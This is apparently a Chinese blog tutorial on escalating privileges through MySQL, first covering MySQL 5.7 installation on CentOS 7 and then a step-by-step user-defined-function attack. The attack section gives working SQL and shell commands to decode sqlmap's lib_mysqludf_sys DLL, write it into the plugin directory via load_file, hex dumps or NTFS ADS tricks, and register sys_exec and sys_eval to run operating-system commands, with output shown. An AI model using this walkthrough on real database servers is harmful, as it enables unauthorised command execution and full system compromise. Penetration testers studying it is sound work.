Mysql 提权

Mysql 安装

以 Centos 7 为例

  1. wget下载安装包

wget http://repo.mysql.com/mysql57-community-release-el7-10.noarch.rpm

  1. 安装软件源

rpm -Uvh mysql57-community-release-el7-10.noarch.rpm

  1. 安装 mysql 服务端

yum install -y mysql-community-server

  1. 启动mysql

service mysqld start

  1. 查看mysql运行状态

service mysqld status

如图,成功启动


Mysql 提权_第1张图片
1.png
  1. 修改mysql临时密码
  • 为了加强安全性,MySQL5.7为root用户随机生成了一个密码,在error log中,关于error log的位置,如果安装的是RPM包,则默认是/var/log/mysqld.log

grep 'temporary password' /var/log/mysqld.log //启动mysql后查看临时密码

  1. 登录并修改默认密码

mysql -u root -p // root 用户登录mysql
alter user 'root'@'localhost' IDENTIFIED BY 'newpassword';
1819报错执行两条语句,修改两个全局参数
set global validate_password_policy=0;
set global validate_password_length=1;

Mysql 提权_第2张图片
图片.png

MYSQL 利用udf提权

提权思路:
  1. udf文件放到指定位置(mysql版本 > 5.1udf.dll导出到安装路径MySQL\Lib\Pluginmysql版本 < 5.1 , udf.dll文件在win server 2003下放置于c:\windows\system32目录,在win server 2000下放置在c:\winnt\system32目录)
  2. 从 udf (user defined function) 文件中引入自定义函数(linux环境下导出lib_mysqludf_sys.soWindows下导出dll文件)
  3. 执行自定义函数
提权步骤
  1. 查看 mysql 版本及plugin文件位置

mysql> status
探测到靶机版本5.5 > 5.1,从MySQL 5.0.67开始,文件必须位于plugin目录中。该目录取决于plugin_dir系统变量的值。如果plugin_dir的值为空,则参照5.0.67之前即文件必须位于系统动态链接器的搜索目录中。

Mysql 提权_第3张图片
1.png

使用select @@plugin_dir全局变量查询plugin文件夹

Mysql 提权_第4张图片
2.png
  1. 查找 udf.dll 文件
    SQLMAP 提供了现成的 udf.dll ,位于sqlmap/udf/mysql/windows目录下,由于MySQL位数为32,所以在此选择32位的 dll 文件
    Mysql 提权_第5张图片
    3.png

    由于sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用,可以利用sqlmap 自带的解码工具 cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下,执行命令生成 dll 文件:

cloak.py -d -i E:\sqlmap\sqlmapproject-sqlmap-4cd8590\udf\mysql\windows\32\lib_mysqludf_sys.dll_

Mysql 提权_第6张图片
4.png

同时MSF也提供了现成的 udf.dll 文件,文件位置

/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll
  1. udf.dll 文件写入数据库
  • 方法一:远程加载
    load_file() 函数支持远程加载,配合 dumpfile 实现写入
    lib 目录下一定要有 plugin 文件夹 否则报错


    5.png

使用NTFS ADS流创建 plugin,lib 文件夹,大佬的代码但是我没有成功。。你们可以尝试一下

select 'It is dll' into dumpfile 'D:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION';    //使用NTFS ADS流创建lib目录
select 'It is dll' into dumpfile 'D:\\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次创建plugin目录
6.png
  • 方法二:HEX 写入
    在某些情况下我们可以将我们 udf.dll 转化成16进制然后写入,这样就不用连接外网了
select hex(load_file('E:\\sqlmap\\sqlmapproject-sqlmap-4cd8590\\udf\\mysql\\windows\\32\\lib_mysqludf_sys.dll')) into outfile "E:\\udf32.hex";

生成了 hex 文件以后我们可以将 hex 文件的内容复制出来,写入我们的命令,16进制代码前记得加0x表示16进制

select 0x4D5A9000030000000…(太长省略) into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";

依旧需要plugin文件存在,这里我手动创建了一个毕竟那个NFTS ADS流创建我没创建成功

  1. dll 文件利用
    sqlmap中的 udf 文件提供的函数:
    sys_eval,执行任意命令,并将输出返回。
    sys_exec,执行任意命令,并将退出码返回。
    sys_get,获取一个环境变量。
    sys_set,创建或修改一个环境变量。

加载函数

  • sys_exec函数
mysql> create function sys_exec RETURNS int soname 'udf.dll' ;
Query OK, 0 rows affected (0.01 sec)

mysql> select * from mysql.func where name = "sys_exec";
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_exec |   2 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)

mysql> select sys_exec('whoami');
+--------------------+
| sys_exec('whoami') |
+--------------------+
|                  0 |
+--------------------+
1 row in set (0.20 sec)

函数删除

mysql> drop function sys_exec;
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func where name = "sys_exec";
Empty set (0.00 sec)
  • sys_evel() 函数(该功能将执行系统命令并在屏幕上通过标准输出显示)
mysql> create function sys_eval returns string soname 'udf.dll';
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func where name = "sys_eval";
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_eval |   0 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)

mysql> select sys_eval('whoami');
+-----------------------+
| sys_eval('whoami')    |
+-----------------------+
| desktop-jg0a4e7\wcute |
+-----------------------+
1 row in set (0.08 sec)

函数删除

mysql> drop function sys_eval;
Query OK, 0 rows affected (0.00 sec)
  • sys_get() 函数(该函数返回系统变量的值)
mysql> create function sys_get returns string soname 'udf.dll';
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func where name = "sys_get";
+---------+-----+---------+----------+
| name    | ret | dl      | type     |
+---------+-----+---------+----------+
| sys_get |   0 | udf.dll | function |
+---------+-----+---------+----------+
1 row in set (0.00 sec)

mysql> select sys_get('COMSPEC');
+-----------------------------+
| sys_get('COMSPEC')          |
+-----------------------------+
| C:\Windows\system32\cmd.exe |
+-----------------------------+
1 row in set (0.00 sec)

删除函数

drop function sys_get;

参考链接:
https://www.cnblogs.com/silentdoer/articles/7258232.html
http://www.mamicode.com/info-detail-2294087.html
https://www.k0rz3n.com/2018/10/21/Mysql%20%E5%9C%A8%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84%E5%88%A9%E7%94%A8/
https://blog.csdn.net/qq_26090065/article/details/81515355

你可能感兴趣的:(Mysql 提权)